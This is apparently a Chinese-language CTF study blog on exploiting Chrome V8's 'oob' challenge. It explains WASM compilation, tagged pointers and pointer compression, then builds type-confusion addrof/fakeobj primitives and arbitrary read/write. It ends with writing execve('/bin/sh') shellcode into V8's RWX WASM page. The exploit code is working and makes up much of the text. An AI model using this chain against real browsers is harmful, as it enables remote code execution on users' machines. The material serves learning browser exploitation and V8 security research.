0%

主要参考blog:传送门

备注:上一篇blog中提到的指针压缩是v8沙箱的重要实现方式,可以避免对象的内存错误溢出到其他重要内存空间。对沙箱的逃逸也是当前漏洞利用的关键,不是那么容易实现的。

D. Utilize WASM

在上面的blog中,除了普通的pwn利用方式外,还给出了一种通过WebAssembly进行利用的方式。

WASM,简单来说,就是将C/C++这种编译语言编译成一种机器码,然后由v8来解释执行它。这个机器码本质上是一种字节码,参考资料。我们首先安装一下相关包测试一下它的效果。

D.1 Installation && Trial

这里选择安装emscripten,这是一个基于LLVM的WASM完整编译链,按照官方文档中的指引进行安装即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Get the emsdk repo
git clone https://github.com/emscripten-core/emsdk.git

# Enter that directory
cd emsdk

# Download and install the latest SDK tools.
./emsdk install latest

# Make the "latest" SDK "active" for the current user. (writes .emscripten file)
./emsdk activate latest

# Activate PATH and other environment variables in the current terminal
source ./emsdk_env.sh

安装完成后,我们编写一个Demo C程序并用emscripten处理。

1
2
3
int main() {
return 42;
}

使用下面的命令编译为WASM:

1
emcc demo.c -o demo.js

它的输出由两个文件组成,一个是JS文件demo.js,另一个是WASM文件demo.wasm。这个demo.js可以通过node直接执行:

1
node demo.js

另外还可以创建HTML文件,将上面的编译命令的输出结果后缀替换为html即可,这样可以在浏览器打开html文件时执行WASM。

我们再安装一个反编译WASM的工具,帮助我们拆解WASM的执行逻辑。这里安装WABT。按照Github README进行编译安装即可。

添加了环境变量后,可以使用下面的命令将WASM转换为WAT格式,WAT格式是文本格式,可以理解为WASM的汇编代码。

1
wasm2wat demo.wasm > demo.wat

WABT甚至支持将WASM直接转换为C代码,但最终的效果就像用IDA Pro反汇编出来的C代码一样,可读性有但不多。

1
wasm2c demo.wasm > demo_rev.c

需要注意的是,我们并不能直接读取该WASM文件并在d8中直接执行。因为d8中只能执行WASM字节码片段,就像我们在C语言中想要执行一段shellcode一样,这里输出的WASM文件可以对应于完整的ELF文件。将ELF文件从头开始作为shellcode执行当然不可行,因此将WASM文件从头开始在d8中执行同样不可行。那么我们应该对其进行什么处理,才能让d8能够成功执行呢?

执行下面的命令即可:

1
emcc demo.c -o demo.html -s WASM=1 -Os -g2

这里的-Os表示优化等级,-g2表示调试等级,如果这里不加调试等级,那么导出的符号abc我们可能不方便对应于main,不利于我们后续运行。输出WASM文件用wasm2wat命令解析结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
(module $demo.wasm
(type (;0;) (func (param i32 i32) (result i32)))
(type (;1;) (func))
(func $main (type 0) (param i32 i32) (result i32)
i32.const 42)
(func $__wasm_call_ctors (type 1))
(table (;0;) 1 1 funcref)
(memory (;0;) 258 258)
(export "a" (memory 0))
(export "b" (func $__wasm_call_ctors))
(export "c" (func $main))
(export "d" (table 0)))

这里最重要的是需要将输出设置为HTML格式,并设置WASM选项为1。这样会输出一个HTML文件和一个WASM文件,而WASM文件中基本仅会保存main函数的逻辑,且会将main函数作为导出函数,可以在d8中调用。如果使用下面的命令:

1
emcc demo.c -o demo.wasm -Os

虽然也可以输出WASM文件,但我们无法将其直接加载到d8中进行执行,因为其中包含外部符号(即下面的wasi_snapshot_preview1proc_exit),而外部符号在d8中是不允许使用的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
(module $demo.wasm
(type (;0;) (func (param i32)))
(type (;1;) (func))
(type (;2;) (func (result i32)))
(import "wasi_snapshot_preview1" "proc_exit" (func $__wasi_proc_exit (type 0)))
(func $__wasm_call_ctors (type 1)
nop)
(func $_start (type 1)
i32.const 42
call $__wasi_proc_exit
unreachable)
(func $_emscripten_stack_restore (type 0) (param i32)
local.get 0
global.set $__stack_pointer)
(func $emscripten_stack_get_current (type 2) (result i32)
global.get $__stack_pointer)
(table (;0;) 2 2 funcref)
(memory (;0;) 258 258)
(global $__stack_pointer (mut i32) (i32.const 66560))
(export "memory" (memory 0))
(export "__indirect_function_table" (table 0))
(export "_start" (func $_start))
(export "_emscripten_stack_restore" (func $_emscripten_stack_restore))
(export "emscripten_stack_get_current" (func $emscripten_stack_get_current))
(elem (;0;) (i32.const 1) func $__wasm_call_ctors))

如果执行包含外部导入符号,d8会产生报错,因此同样的,我们无法在WASM中编写如printf("Hello world");这样的语句,因为printf是导入符号。

1
2
3
4
5
./test_wasm.js:15: TypeError: WebAssembly.Instance(): Import #0 module="wasi_snapshot_preview1" error: module is not an object or function
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
^
TypeError: WebAssembly.Instance(): Import #0 module="wasi_snapshot_preview1" error: module is not an object or function
at ./test_wasm.js:15:20

在上面使用正确命令获取的WASM代码中,可以看到main函数是以c作为导出符号的,那么我们需要在d8中调用c这个导出符号:

1
2
3
4
5
6
7
8
var wasmCode = new Uint8Array(Array.from(read("./demo.wasm"), c => c.charCodeAt(0)));

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.c;

var d = f();
console.log("[*] return value from wasm: " + d);

输出结果:

1
2
~/Desktop/misc/CTF-problems/2019CTF-masterctf_oob/Chrome » ./v8/v8/out/x64.debug/d8 --allow-natives-syntax ./test_wasm.js
[*] return from wasm: 42

JS代码的第一行是读取demo.wasm文件并将其转换为8位无符号整数类型。后面则是创建WASM模块于WASM执行实例。通过wasmInstance.exports.xxx获取某个WASM文件导出符号,这里获取的是c,也就是main函数的导出符号,这个导出符号是一个函数,下面可以直接以函数调用的形式执行WASM文件中的main函数,执行的返回值即为main函数的返回值。

D.2 WASM Code Path

上面我们已经能够成功进行WASM的导入和执行,那么下面我们需要简单理解一下WASM的执行流程。

考虑下面的代码:

1
2
3
4
5
6
7
8
9
var wasmCode = new Uint8Array(Array.from(read("./demo.wasm"), c => c.charCodeAt(0)));

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.c;

%SystemBreak();
var d = f();
console.log("[*] return from wasm: " + d);

WASM文件就使用上面的那个返回42的简单代码。

在断点处查看内存布局,可以发现一个RWX权限的页,

经过简单查找之后,我们就可以发现WASM代码转换得到的x64汇编代码。可见在我们能够进行任意地址读写后,可以通过修改这里直接执行shellcode。

那么,我们应该通过什么地址链找到这里呢。本文的主要blog提供了一条链子:

A. Function.shared_info (offset 0x18)

这里的Function就是上面脚本中的f。

B. SharedFunctionInfo.data (offset 8)

C. WasmExportedFunctionData.instance (offset 0x10)

D. WasmInstanceObject + 0x88

这样我们就可以找到RWX的内存页的首地址。实际上我们找到这里就可以了,不用管页内偏移具体是多少,因为我们可以直接用nop指令填充该页的绝大部分,然后在后面附加shellcode即可。

D.3 Chrome v8 Double Kill

我们尝试将寻找RWX页的内存地址的实现代码添加到上一篇blog中实现的exp脚本后面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// -----------------------------------------------------------------------------------------------
// ---- Load WASM code

var wasmCode = new Uint8Array(Array.from(read("./demo.wasm"), c => c.charCodeAt(0)));

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.c;

// -----------------------------------------------------------------------------------------------
// ---- Get RWX page start

var f_addr = get_object_address(f);
var shared_function_info_addr = read_at(f_addr + 0x18n) - 1n;
var wasm_exported_function_data_addr = read_at(shared_function_info_addr + 0x8n) - 1n;
var wasm_instance_object_addr = read_at(wasm_exported_function_data_addr + 0x10n) - 1n;
var rwx_page_start = read_at(wasm_instance_object_addr + 0x88n)

console.log("Got RWX page start: 0x" + rwx_page_start.toString(16));

然后加上nop指令填充:

1
2
3
4
5
6
// -----------------------------------------------------------------------------------------------
// ---- Fill most of the page with nop instructions

for (let off=0; off <= 0xEF8; off++) {
write_at(rwx_page_start + BigInt(off), 0x9090909090909090n); // nop: 0x90
}

编写下面的简单Python脚本获取shellcode字节序列:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.arch = 'amd64'

asm_bytes = asm(shellcraft.amd64.sh())

asm_list = []

for b in asm_bytes:
asm_list.append(b)

print(asm_list)

字节序列为:

1
[106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5]

将shellcode写入RWX页中:

1
2
3
4
5
6
7
8
9
10
11
// -----------------------------------------------------------------------------------------------
// ---- Write shellcode and execute "WASM code"

var shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5];

for (let i=0; i < shellcode.length; i++) {
write_at(rwx_page_start + 0xf00n + BigInt(i), BigInt(shellcode[i]));
}

console.log("Ready to execute shellcode!");
var d = f();

攻击成功。

完整JS代码:exp.js

E. 阶段总结

在前面3篇blog中,我们讨论了不加沙箱的Chrome v8的相关漏洞利用策略,总的来说,Chrome v8的漏洞利用路线是非常固定的,基本都是从类型混淆开始,到可以获得对象地址以及将一个地址作为对象,再到任意地址读写,最后各显神通。

在后面的学习中,我们就需要应对带有沙箱的更新的版本的Chrome v8,浅看了一些blog,发现利用的路径应该也比较固定。一路走来,从Javascript的解析再到WASM,可以发现Chrome v8集成了很多的功能,值得我们深入探索。

继续。

主要参考blog:传送门

B. JSObject

在实际的chrome v8 pwn题中,漏洞绝大多数都是类型混淆,实际上近年的chrome v8 CVE也绝大多数是由于类型混淆引起的。因此我们有必要理解究竟什么叫类型混淆。

B.1 JSReceiver

在v8源代码中,定义了一个JSObject类,这是所有JS类型的父类,如JSDate日期类型、JSRegExp正则表达式类型等全都是它的子类。JSObject继承自JSReceiver,后者定义了一些属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// v8 13.3.0, objects/js-objects.h, line 45

class JSReceiver : public TorqueGeneratedJSReceiver<JSReceiver, HeapObject> {
public:
NEVER_READ_ONLY_SPACE
// Returns true if there is no slow (ie, dictionary) backing store.
DECL_GETTER(HasFastProperties, bool)

// Returns the properties array backing store if it
// exists. Otherwise, returns an empty_property_array when there's a
// Smi (hash code) or an empty_fixed_array for a fast properties
// map.
DECL_GETTER(property_array, Tagged<PropertyArray>)

// Gets slow properties for non-global objects (if
// v8_enable_swiss_name_dictionary is not set).
DECL_GETTER(property_dictionary, Tagged<NameDictionary>)

// Gets slow properties for non-global objects (if
// v8_enable_swiss_name_dictionary is set).
DECL_GETTER(property_dictionary_swiss, Tagged<SwissNameDictionary>)

这里的宏字面含义理解就是定义属性以及其对应的getter,第一个参数是成员名,第二个参数是类型。这里我们首先关注第二个:

Tagged<PropertyArray> property_array

这个Tagged可以理解为一个简单的封装,源码中的注释如是说:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// Tagged<T> represents an uncompressed V8 tagged pointer.
//
// The tagged pointer is a pointer-sized value with a tag in the LSB. The value
// is either:
//
// * A small integer (Smi), shifted right, with the tag set to 0
// * A strong pointer to an object on the V8 heap, with the tag set to 01
// * A weak pointer to an object on the V8 heap, with the tag set to 11
// * A cleared weak pointer, with the value 11
//
// The exact encoding differs depending on 32- vs 64-bit architectures, and in
// the latter case, whether or not pointer compression is enabled.
//
// On 32-bit architectures, this is:
// |----- 32 bits -----|
// Pointer: |______address____w1|
// Smi: |____int31_value___0|
//
// On 64-bit architectures with pointer compression:
// |----- 32 bits -----|----- 32 bits -----|
// Pointer: |________base_______|______offset_____w1|
// Smi: |......garbage......|____int31_value___0|
//
// On 64-bit architectures without pointer compression:
// |----- 32 bits -----|----- 32 bits -----|
// Pointer: |________________address______________w1|
// Smi: |____int32_value____|00...............00|
//
// where `w` is the "weak" bit.
//
// We specialise Tagged separately for Object, Smi and HeapObject, and then all
// other types T, so that:
//
// Tagged<Object> -> StrongTaggedBase
// Tagged<Smi> -> StrongTaggedBase
// Tagged<T> -> Tagged<HeapObject> -> StrongTaggedBase
//
// We also specialize it separately for MaybeWeak types, with a parallel
// hierarchy:
//
// Tagged<MaybeWeak<Object>> -> WeakTaggedBase
// Tagged<MaybeWeak<Smi>> -> WeakTaggedBase
// Tagged<MaybeWeak<T>> -> Tagged<MaybeWeak<HeapObject>> -> WeakTaggedBase

可见,这个类型实际上是一个地址的封装,它会在地址的最低2个bit添加标志位,00代表小整数,01代表一个指向堆中JS对象的强指针,10代表一个指向堆中JS对象的弱指针,11代表被清理的弱指针。强指针和弱指针应该是对应于JS中的强引用和弱引用,只有强引用才能左右一个对象的生命周期,当对象的所有强引用被销毁时,该对象就会被销毁,不会考虑是否存在弱引用。不过一般的题目中都是强引用,这里仅做了解。

了解完Tagged之后,我们看到上面有3个Tagged类型,其中封装的类型分别为:PropertyArrayNameDictionarySwissNameDictionary,后面两者通过查看其父类可知是哈希表类型,而第一个貌似是数组,但是具体的数据排布方式未知。下面我们通过调试探究一下。

B.2 How to DEBUG d8

在调试版的d8中,可以在运行时指定参数--allow-natives-syntax,这样在JS代码中可以通过%DebugPrint(...)的方式打印一个对象的底层信息,通过%SystemBreak()发送断点信号,方便我们通过gdb进行调试。

上图可知,这里对于一个浮点数的数组给出了很多信息。我们移步gdb查看一下:

从上面的图中,我们找到对象所在的地址为0x16e200288468,最后一个1是标志位忽略。下面是这个对象在内存中的布局:

1
2
3
4
5
pwndbg> tele 0x16e200288460
00:0000│ 0x16e200288460 ◂— 0x99447536c9d5a
01:0008│ 0x16e200288468 ◂— 0x7450008cf81
02:0010│ 0x16e200288470 ◂— 0x6000994f5
03:0018│ 0x16e200288478 ◂— 0xbab932000000b5

这就是这个对象的全部内容。很奇怪对吗,为什么这里没有任何指针呢?诶这就要提到v8中的指针压缩技术了。如果开启了v8的指针压缩,那么所有的v8对象都会被存放在一个4GB大小的内存空间中,由于此时所有的对象地址的高32位都相同,所以在对象实际存储时就不需要高32位,仅需保存低32位即可。这样的话我们就可以理解上面这一小段内存的含义了。

  • - map: 0x16e20008cf81 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties]:对应的是0x16e200288468开头的4字节空间,代表这个对象的类型。
  • - prototype: 0x16e20008d1f5 <JSArray[0]>:和map对应,是这个对象的原型。
  • - elements: 0x16e2000994f5 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]:对应的是0x16e200288470开头的4字节空间,代表数组元素的保存地址。
  • - length: 3:长度,常数,保存在0x16e200288474开头的4字节空间,因为最低位被保存为0所以只有高31位用于保存整数,表现在内存中即为6。
  • - properties: 0x16e200000745 <FixedArray[0]>:属性数组,即前面的PropertyArray,对应0x16e20028846c开头的4字节空间,保存这个类型的属性。

下面我们再看一下elements中的数组元素是如何保存的:

1
2
3
4
pwndbg> tele 0x16e2000994f0
00:0000│ 0x16e2000994f0 ◂— 0x67d00002d29 /* ')-' */
01:0008│ 0x16e2000994f8 ◂— 0x200000006
02:0010│ 0x16e200099500 ◂— 0x600000004

也是很好理解:

  • 0x16e2000994f4开头的4字节空间是map,用于指明类型
  • 0x16e2000994f8开头的4字节空间是整数3,表示数组长度
  • 后面的3个32位类型就是数组的内容,分别为1、2、3。

在新版本中,默认是开启指针压缩的,因为能够提升执行效率。在上一篇blog中提到的那道2019年的赛题使用的版本中,默认就没有开启,所以内存中就直接保存了真实的64位内存地址。

由此,我们就能够解释上一篇blog中oob函数输出的浮点数究竟代表什么东西了。

在release版本中我们同样可以使用--allow-natives-syntax参数,不过只能输出对象所在的地址。但是v8提供了一个gdb脚本可以用于输出对象信息,位于tools/gdbinit,将其添加到~/.gdbinit中即可。

下面是调试结果:

可以看到这里的输出是2.65365992014225e-310。我们查看一下elements

可以看到,如果我们将数组后面那个地方视作浮点数的话,结果的值与输出完全相同。因此这里泄露的就是一个内存地址。经过简单的观察发现,这里实际上就是我们的浮点数数组对象的位置,这里保存的就是一个map。即保存数组元素的位置正好在对象的低地址处。因为oob函数如果传入参数,是可以溢出写入的,而这里又是标志一个对象类型的重要结构。如果我们将这个地方成功修改,那么JS解释器就会出现类型混淆的漏洞。

注:Map类在objects/map.h中也有详细的字段数据结构分析,感兴趣可以移步研究。

C. Chrome V8 First Blood

下面,我们就利用刚刚对于chrome v8相关内容的理解,彻底做出oob这道题。

C.1 Type Confusion

前面提到,这道题我们可以实现对对象map实例的读或写,下面我们来解释一下如何通过这两个操作完成对任意地址的读写。

首先我们知道,Object在JS中很常用,JS可以定义一个Object数组。但Object包含的东西太多,这些东西占用的内存大小各不相同,如果要将其整合到一个数组中,那么数组必然只能保存一个指针值。而浮点数数组中保存的浮点数也是8个字节长度。因此如果将Object数组混淆为浮点数数组,那么我们就可以通过直接输出的方式获取到指针值对应的浮点数。

考虑下面的JS代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var first_object = {"1": 2};
var second_object = [1, 2, 3];

var obj_arr = [first_object, second_object];
var float_arr = [0.1];

// %DebugPrint(obj_arr);
// %DebugPrint(float_arr);

var float_typemap = float_arr.oob();
var obj_typemap = obj_arr.oob();

obj_arr.oob(float_typemap);

// %SystemBreak();

这里我们定义了两个数组,一个是对象数组而另一个是浮点数数组。执行完两个oob函数之后,我们就获得了两个map指针的浮点数表示。注意这里有一个细节,如果代码写成下面的格式,我们获取到的对象数组的map地址是错误的:

1
2
3
4
5
6
7
8
9
10
11
12
var obj_arr = [{"1": 2}, [1, 2, 3]];
var float_arr = [0.1];

// %DebugPrint(obj_arr);
// %DebugPrint(float_arr);

var float_typemap = float_arr.oob();
var obj_typemap = obj_arr.oob();

obj_arr.oob(float_typemap);

// %SystemBreak();

因为v8维护自己的对象堆空间,所有的对象都会保存在单独的通过mmap分配出来的空间,而不是v8本身的堆空间。上面两段代码的唯一区别就是是否将对象数组中的两个对象提前定义出来。这会导致v8创建对象的顺序不同。对于前者,v8会首先创建两个对象,然后在需要创建对象数组时,首先创建固定长度的数组用于保存对象,再创建对象数组obj_arr并将其中的数组指针指向那个固定长度的数组,这样就能够保证定长数组与obj_arr之间没有其他东西,然而如果使用下面的代码,v8会首先分配定长数组空间,然后定义两个对象,最后为obj_arr分配空间,这样我们obj_arr.oob()得到的就不是obj_arr的map。

C.2 Object && Address

讨论完这个细节之后,我们可以看到,obj_arr.oob(float_typemap);这一句就能够成功将原来的对象数组解析成浮点数数组,对象数组中的指针会被v8错误地解析为浮点数。由此,我们可以编写获取任意对象地址/将任意地址伪造为对象的JS代码。不过在此之前,我们需要首先研究一下Javascript的数字类型表示。

众所周知,Javascript对于所有除了BigInt的数都是使用浮点数表示的。通过将对象数组混淆为浮点数数组,我们可以通过获取浮点数的方式获取对象地址,但如果要想将任何一个整数表示的地址写入浮点数数组,就需要进行一定的处理。我们需要解决的是下面的问题:

对于一个8字节整数值注入,如何使用Javascript代码将其转化为浮点数,使得输入的整数与输出的浮点数在内存中的表示值相同。

这个问题,我们可以通过下面的JS代码解决:

1
2
3
4
5
6
7
8
9
10
11
12
13
var overlapping_buf = new ArrayBuffer(0x20);
var for_double_value = new Float64Array(overlapping_buf);
var for_bigint_value = new BigUint64Array(overlapping_buf);

function double_to_int64(double_value) {
for_double_value[0] = double_value;
return for_bigint_value[0];
}

function int64_to_double(int64_value) {
for_bigint_value[0] = int64_value;
return for_double_value[0];
}

下面我们就来解释一下为什么这段代码能够实现浮点数和大整数的转换。我们通过调试下面的代码来解释。

1
2
3
4
5
6
7
8
var x = 0x12345678abcdn;

%DebugPrint(overlapping_buf);
%DebugPrint(for_double_value);
%DebugPrint(for_bigint_value);
%DebugPrint(int64_to_double(x));
%DebugPrint(double_to_int64(int64_to_double(x)));
%SystemBreak();

下面是overlapping_buf的信息:

可以看到,我们初始化的内存空间是保存在v8的堆中,而不是对象堆空间中。然后这个内存空间中已经成功保存了我们写入的大整数值。

输出的这个10进制整数值经过验证也等于我们输入的值。

这种现象产生的根本原因是,我们让两个不同类型的数组指向了同一个内存buffer。二者共用一个内存buffer,使得我们修改一个会导致另一个也发生改变。

!注意:这里的BigUint64Array保存的并不是BigInt类型,实际上,如果你尝试构建一个BigInt数组,这个数组的类型实际为对象数组,因为BigInt并没有确定的大小,它随着保存的数字的大小而动态变化其占用的内存空间大小,所以在数组构建时,也只能保存其指针,类型设置为对象数组。而BigUint64Array的元素就是固定的64位无符号整数,这种整数表示形式不能单独存在,将其提取出来单独定义必然要将其转化为浮点数类型或大整数类型。故我们定义的BigUint64ArrayFloat64Array具有相同的数据长度,再加上JS允许上面的缓冲区重用,因此我们就能够实现浮点数到64位内整数的无缝无损转换。

现在,我们就可以实现刚才提到的两个功能——获取任意对象的地址/将任意地址作为对象解析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function get_object_address(object) {
obj_arr[0] = object;
obj_arr.oob(float_typemap);
let obj_addr = double_to_int64(obj_arr[0]) - 1n;
obj_arr.oob(obj_typemap);
return obj_addr;
}

function treat_address_as_object(addr) {
float_arr[0] = int64_to_double(addr + 1n);
float_arr.oob(obj_typemap);
let fake_obj = float_arr[0];
float_arr.oob(float_typemap);
return fake_obj;
}

将上面的几段代码合并,我们测试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// -----------------------------------------------------------------------------------------------
// ---- int64 <-> double

var overlapping_buf = new ArrayBuffer(0x20);
var for_double_value = new Float64Array(overlapping_buf);
var for_bigint_value = new BigUint64Array(overlapping_buf);

function double_to_int64(double_value) {
for_double_value[0] = double_value;
return for_bigint_value[0];
}

function int64_to_double(int64_value) {
for_bigint_value[0] = int64_value;
return for_double_value[0];
}

// -----------------------------------------------------------------------------------------------
// ---- type confusion && get object address && treat address as object

var first_object = {"1": 2};
var second_object = [1, 2, 3];

var obj_arr = [first_object, second_object];
var float_arr = [0.1];

var float_typemap = float_arr.oob();
var obj_typemap = obj_arr.oob();

function get_object_address(object) {
obj_arr[0] = object;
obj_arr.oob(float_typemap);
let obj_addr = double_to_int64(obj_arr[0]) - 1n;
obj_arr.oob(obj_typemap);
return obj_addr;
}

function treat_address_as_object(addr) {
float_arr[0] = int64_to_double(addr + 1n);
float_arr.oob(obj_typemap);
let fake_obj = float_arr[0];
float_arr.oob(float_typemap);
return fake_obj;
}

var first_object_addr = get_object_address(first_object);

// -----------------------------------------------------------------------------------------------

%DebugPrint(first_object);
console.log("first object address: 0x" + get_object_address(first_object).toString(16));

成功。

C.3 R/W Anywhere

刚才我们更进一步,完成了对象的伪造以及对象地址的获取,下面我们需要进一步通过这个完成任意地址的读写操作。

思路其实也很简单,我们直接创建一个数组,里面伪造一下数组的对象结构,包括map指针、缓冲区指针等,然后通过将这个地方视作假对象,访问数组成员,即可实现对缓冲区指针的读写。

因此,我们下面就需要明确两个方面:要伪造一个能够正常使用的数组需要伪造哪些东西;使用什么对象来保存伪造的BigUint64Array

首先看第二点,我们貌似可以使用一个BigUint64Array保存伪造的数组,但问题是这个对象应该如何初始化。如果我们通过初始化ArrayBuffer的方式来初始化它,那么内存中的对象结构就是下面这样:

可以看到,我们实际的缓冲区并不是elements中保存的base_pointer指针,而是在external_pointer中。这种数据结构与我们之前定义的对象数组obj_arr不同。如果我们获取obj_arrelements的类型信息与上面相比较,可以发现:

直接通过初始值初始化的数组,其elements比通过缓冲区初始化的数组多了一个属性:non-extensible,即不可扩展性。这里并不是说我们不能为obj_arr添加其他元素,而是说这个保存元素的数组本身不能进行扩充,如果需要扩充数组长度,必须在其他地方重新分配更大的空间来保存元素。既然这里的数组不可扩展,那么在内存中,它就会直接保存元素的值,在对象数组中是指针。而对于使用缓冲区初始化的数组来说,我们获取了elements地址还不够,还需要获取elements中的external_pointer的值,然后才能真正访问到数组内容。

因此为了简单起见,我们应该使用通过值来初始化数组。但前面也提到了,我们无法使用大整数值直接对BigUintArray进行初始化,因此我们只能使用浮点数数组完成初始化,因为将浮点数使用中括号括起来就表示浮点数数组,而将大整数使用中括号括起来却不表示BigUintArray。不过我们不用担心浮点数精度损失的问题,因为我们已经定义好了浮点数和64位整数相互转换的函数。

好,现在我们已经确定使用浮点数数组来保存伪造的对象,为了简单起见,在数组内部,我们也应该使用浮点数数组作为伪造的对象,因为我们目前已经知道了浮点数数组的map地址,可以直接拿来使用。

下面我们回顾一下浮点数数组对象的数据结构:

一个浮点数数组对象,不包括指针的大小是0x20,需要保存:map指针、property指针、elements指针、32位的0占位和32位长度值。这是oob题的7.5版本的结构,我们再来看一下最新的13.3.0版本:

新版本默认将指针进行压缩,因此大小变为原来的一半,长度值的保存有些微变化,最后1位作为整数的标志位,故长度值实际使用31位保存,整体上来看区别不大,我们如果在新版本上定义oob函数,最后一样能够实现类似的效果,只是需要对指针进行进一步的处理,如此时通过oob获取的指针需要取低4字节,且我们无法获知实际指针的高4字节,但也没关系。我们还能够获取数组结构的property指针的低4字节,也就是oob获取的指针值的高4字节。

不过下面我们还是首先从7.5版本入手。

在7.5版本中,指针全部是8个字节大小,因此我们不能获得property指针,但数组元素的访问并不需要使用property指针,因此我们直接设置为0即可。另外要注意指针的设置,elements的前面两个8字节空间是分别用于保存map和数组长度的,访问时是从elements+0x10开始。下面试验一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var fake_object_container = [float_typemap, 0, 0, int64_to_double(0x10n * 0x100000000n)];
var container_addr = get_object_address(fake_object_container);
var fake_object_addr = container_addr + 0x30n;
var fake_object = treat_address_as_object(fake_object_addr);

function set_addr_to_rw(addr) {
fake_object_container[2] = int64_to_double(addr - 0x10n + 1n);
}

function get_rw_addr(idx) {
return double_to_int64(fake_object_container[2]) - 1n + 0x10n + BigInt(idx) * 8n;
}

console.log("Container address: 0x" + container_addr.toString(16));
set_addr_to_rw(container_addr);

console.log("Reading: 0x" + get_rw_addr(1).toString(16));
console.log("0x" + double_to_int64(fake_object[1]).toString(16));
%DebugPrint(fake_object_container);
%SystemBreak();

这里有2个小细节:set_addr_to_rw里面需要将传入的地址减去0x10再加上1,减去0x10刚才已经提到,要避开前面的两个字段,后面那个加上1是因为直接保存元素的数组本质上也是一个对象,也需要在末位加1进行标识。另外对于fake object的开始地址的获取,这里是将真浮点数数组对象的地址加上0x30,这是根据内存布局决定的,不同的函数调用顺序可能会导致不同的内存布局,因为对象的创建顺序可能不同。

成功完成对指定地址的读操作,当然写也很简单实现。我们再将其封装一下,就变成了下面这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var fake_object_container = [float_typemap, 0, 0, int64_to_double(0x10n * 0x100000000n)];
var container_addr = get_object_address(fake_object_container);
var fake_object_addr = container_addr + 0x30n;
var fake_object = treat_address_as_object(fake_object_addr);

function set_addr_to_rw(addr) {
fake_object_container[2] = int64_to_double(addr - 0x10n + 1n);
}

function get_rw_addr(idx) {
return double_to_int64(fake_object_container[2]) - 1n + 0x10n + BigInt(idx) * 8n;
}

function read_addr(addr) {
set_addr_to_rw(addr);
return double_to_int64(fake_object[1]);
}

function write_addr(addr, value) {
set_addr_to_rw(addr);
fake_object[1] = int64_to_double(value);
}

至此我们就获得了内存操作至高无上的任意读写权限。

虽然我们已经能够进行任意地址读写,但还需要解决最后一个问题,才能实现真正的任意代码执行,那就是如何获取libc地址、栈地址等,任意代码执行需要这些地址完成。需要注意的是,本文开头的参考文章中提到使用此类浮点数数组进行读写存在一定的问题,可能导致7f开头的地址无法读写,因此这里我们另外伪造一个以buffer初始化的数组,因为这类数组的external_pointer必然在v8的堆中而不在对象堆空间,所以必然是需要保存完整指针的,通过对这里进行修改,才能够实现真正的任意地址读写。

因此考虑到脚本的可扩展性,我们可以通过刚才实现的浮点数数组“伪任意地址写”实现64位无符号整数数组的“真任意地址写”,实现方式也很简单,只需要将前面那个用于进行浮点数和整数转换的BigUint64Array复制一份,然后将堆指针修改即可。

我们首先获取一下BigUint64Array的内存数据结构布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> job(0x3039bc2cf0d9)
0x3039bc2cf0d9: [JSTypedArray]
- map: 0x34daeca00b89 <Map(BIGUINT64_ELEMENTS)> [FastProperties]
- prototype: 0x310ba1d45469 <Object map = 0x34daeca00bd9>
- elements: 0x3039bc2cf121 <FixedBigUint64Array[0]> [BIGUINT64_ELEMENTS]
- embedder fields: 2
- buffer: 0x3039bc2cf031 <ArrayBuffer map = 0x34daeca021b9>
- byte_offset: 0
- byte_length: 32
- length: 4
- properties: 0x2494f4ec0c71 <FixedArray[0]> {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
pwndbg> tele 0x3039bc2cf0d8
00:0000│ 0x3039bc2cf0d8 —▸ 0x34daeca00b89 ◂— 0x900002494f4ec01
01:0008│ 0x3039bc2cf0e0 —▸ 0x2494f4ec0c71 ◂— 0x2494f4ec08
02:0010│ 0x3039bc2cf0e8 —▸ 0x3039bc2cf121 ◂— 0x2494f4ec26
03:0018│ 0x3039bc2cf0f0 —▸ 0x3039bc2cf031 ◂— 0x71000034daeca021
04:0020│ 0x3039bc2cf0f8 ◂— 0
05:0028│ 0x3039bc2cf100 ◂— 0x20 /* ' ' */
06:0030│ 0x3039bc2cf108 ◂— 0x400000000
07:0038│ 0x3039bc2cf110 ◂— 0
pwndbg>
08:0040│ 0x3039bc2cf118 ◂— 0
